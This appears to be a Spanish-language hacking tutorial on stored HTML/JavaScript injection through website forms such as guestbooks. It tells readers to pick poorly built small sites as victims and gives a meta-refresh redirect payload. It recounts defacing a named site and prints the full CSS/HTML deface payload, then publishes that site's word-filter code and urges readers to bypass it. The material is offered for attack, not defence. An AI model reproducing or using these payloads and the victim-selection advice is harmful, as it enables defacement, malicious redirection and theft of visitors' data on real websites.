Introduccion:
Resulta que muchas organizaciones y empresas contratan empresas de DISEÑO para desarrollar sitios web, obiamente un diseñador promedio no tiene idea alguna de que es la seguridad informatica y el funcionamiento de los lenguajes de programacion aplicados al web ya que utiliza dreamweaver o front page y nunca miran el codigo de fuente. Y cuendo estos usuarios necesitan herramientas interactivas terminan por crear cosas muy simple o incluso utilizar las peores herramientas de la web ya que el php-Nuke o vBulletin les parece muy complicado.
Esto hace que muchos sitios pertenecientes a empresas y organizaciones tengan graves bugs de seguridad, y aqui voy a mostrar como explotar uno de los mas simples. xD
Razon social:
Recientemente me encontre tomando en el bar de kraken con un miembro del grupo que tambien es el diseñor de la web www.krakencolombia.net pero resulta que el hombre es un diseñador grafico y no tiene mucha idea de que es la seguridad informatica.
asi que me di por tarea buscarle un pequeño error a la pagina y aqui les publico el mas simple y basico de todos. xD
Conociendo el error:
El error ocurre en muchas webs. El nombre para esto es hackeo por formulario y es presisamente eso, se utilizan los formularios que ingresasn informacion a la web para explotar su codigo de fuente. Por ejemplo un libro de visitas que simplemente toma el el texto que uno coloca en el formulario lo registra en una base de datos y luego lo publica en otra o incluso en la misma pagina. Los usuarios comunes colocaran sus mensajes y el sistema funcionara perfectamente, el problema es cuando estos no tienen un censor de html o de css o de javascript, es cuando una persona puede incluir codigos que cambien el funcionamiento de la pagina, entonces se puede explotar.
No es una inyeccion de SQL:
Las inyecciones de SQL son otro tema del que hablare en alguna otra ocacion pero no ahora, no deben confundir esto con una malformacion de la base de datos.
Estudiando a la victima:
Primero hay que buscar a la victima, te sugiero buscar paginas diseñadas por contrato y con una gran presencia grafica, esto por lo general es señal de una mala programacion, las webs echas por pequeños diseñadores como las de las bandas musicales, establecimiento comerciales pequeños, colegios que nadie conoce etc.
Luego comiensa a revisar los formularios y su efecto sobre la pagina, por lo general los mas vulnerable son los libros de visitas, foros, chats y todas estas secciones donde la informacion del suario queda gravada y puede ser vista por otros usuarios.
Entradas posibles:
El dormulario que estes estudiando debe tener la posibilidad de introducir en el html, pero el echo de que reciva html no indica que reciva javascript o que soporte css o que acepte todos los tags de html, entonces tienes que hacer pruevas.
Ya sabes que soporta?:
Obiamente si te das cuenta que soporta todos los tipos de lenguaje, html, javascript y css lo mejor que puedes hacer son dos cosas. Primero podrias explotar el javascrip a tu gusto para obtener tanto informacion de la web como de los usuarios, incluso podrias manipular otras secciones de la web. o puedes agregar esto
Código:
Otros sensores:<META HTTP-EQUIV="Refresh" CONTENT="2; URL=http://www.kalvinman.tk">
Tambien existen otros sensores que pueden bloquear siertas cosas, como por ejemplo sensores que borran todos los http:// de tus mensajes o que borran el www asi no podras llamar archivos externos sensores que eliminan o modifican las comillas o los dos puntos y el punto y coma.
aqui debe entrar en juego tu ingenio para saber como explotar las ventajas que te de el formulario.
Caso real:
Bueno volviendo a www.krakencolombia.net esta web tiene un libro de visitas con las siguiente caracteristicas:
Formulario con campo de mensaje nombre y email.
Soporta HTML, CSS y Javascript pero borra los http:// y los www
Las firmas aparecen debajo del formulario.
La nuevas lineas las convertia automaticamente en BR
Hackeando:
Simplemente se pueden agregar muchos tipos de codigo para modificar el funcionamiento de la pagina, desde javascript puede crear una redireccion o incluso con las etiquetas meta, pero recuerden que no pueden llamar archivos externos. Yo lo que hice fue un deface con este codigo.
Código:
el deface se produjo en esta url. http://krakencolombia.net/kraken2/index_booker.php<style type="text/css">#m { position: absolute; width: 100%; height: 115px; z-index: 1; left: 0; top: 0; background-color: #000000;}.t { color: #FFFFFF; text-decoration: blink}</style><div id="m"><table width="900" height="8000" border="1" align="center"> <tr> <td align="center" valign="top" bgcolor="#000000"><pre class="t"> HACKED BY KALVIN MANSON HACKING 101% COLOMBIANO W W W . K A L V I N M A N . T K $$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$'`$$$$$$$$$$$$$'`$$$ $$$$$$ $$$$$$$$$$$ $$$$ $$$$$$$ '$/ `/ `$' .$$$$ $$$$$$$$. i i /! .$$$$$ $$$$$$$$$.--'--' $$$$$$ $$^^$$$$$' J$$$$$$ $$$ ~" `. .$$$$$$$ $$$$$e, ; .$$$$$$$$ $$$$$$$$$$$.' $$$$$$$$$ $$$$$$$$$$$$. $$$$$$$$ $$$$$$$$$$$$$ $$$$$$$ SI QUIERES APRENDER A HACKEAR VISITA MI WEB KALVINMAN.TK O KALVINMAN.CJB.NET </td></tr></table></div>
esto genera una capa que se superpone sobre toda la web con un mensaje mio y un accsi art, ya que no se puede usar el http:// ni el www no es posible crear links, amenos claro que usaran un ftp o un https.
Este bug ya fue solucionado en una pequeña parte. xD
Aqui les dejo el listado de palabras que no pueden ser usadas en este gbook pero si pueden hackear sin usar estas palabras, publiquenlo jajaja. xD
Código:
$str = str_replace("viagra"," ",$str); $str = str_replace("Viagra"," ",$str); $str = str_replace("http://onlinev.coz.in/#viagra","*",$str); $str = str_replace("www"," ",$str); $str = str_replace("http"," ",$str); $str = str_replace("target"," ",$str); $str = str_replace("_blank"," ",$str); $str = str_replace("viagra"," ",$str); $str = str_replace("url"," ",$str); $str = str_replace("Hello WebMaster! GOOD Site!"," ",$str); $str = str_replace(".com"," ",$str); $str = str_replace(".html"," ",$str); $str = str_replace("URL"," ",$str); $str = str_replace("link"," ",$str); $str = str_replace("<style type="text/css">"," ",$str);